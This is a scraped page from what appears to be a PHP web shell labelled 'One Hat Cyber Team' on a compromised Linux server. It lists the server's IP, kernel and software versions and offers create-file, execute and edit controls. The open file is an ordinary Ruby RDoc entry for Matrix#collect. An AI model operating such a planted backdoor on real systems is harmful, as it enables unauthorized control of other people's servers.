⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Matrix
/
Edit File: collect-i.ri
U:RDoc::AnyMethod[iI"collect:ETI"Matrix#collect;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"RReturns a matrix that is the result of iteration of the given block over all ;TI"elements of the matrix. ;TI"7Elements can be restricted by passing an argument:;To:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o; ; [I"(:all (default): yields all elements;To;;0; [o; ; [I"4:diagonal: yields only elements on the diagonal;To;;0; [o; ; [I">:off_diagonal: yields all elements except on the diagonal;To;;0; [o; ; [I"::lower: yields only elements on or below the diagonal;To;;0; [o; ; [I";:strict_lower: yields only elements below the diagonal;To;;0; [o; ; [I";:strict_upper: yields only elements above the diagonal;To;;0; [o; ; [I";:upper: yields only elements on or above the diagonal ;TI"0Matrix[ [1,2], [3,4] ].collect { |e| e**2 };To:RDoc::Markup::Verbatim; [I" => 1 4 ;TI" 9 16;T:@format0: @fileI"lib/matrix.rb;T:0@omit_headings_from_table_of_contents_below00I"e;T[[I"map;To;; [ ;@:;0I"(which = :all);T@:FI"Matrix;TcRDoc::NormalClass00
Simpan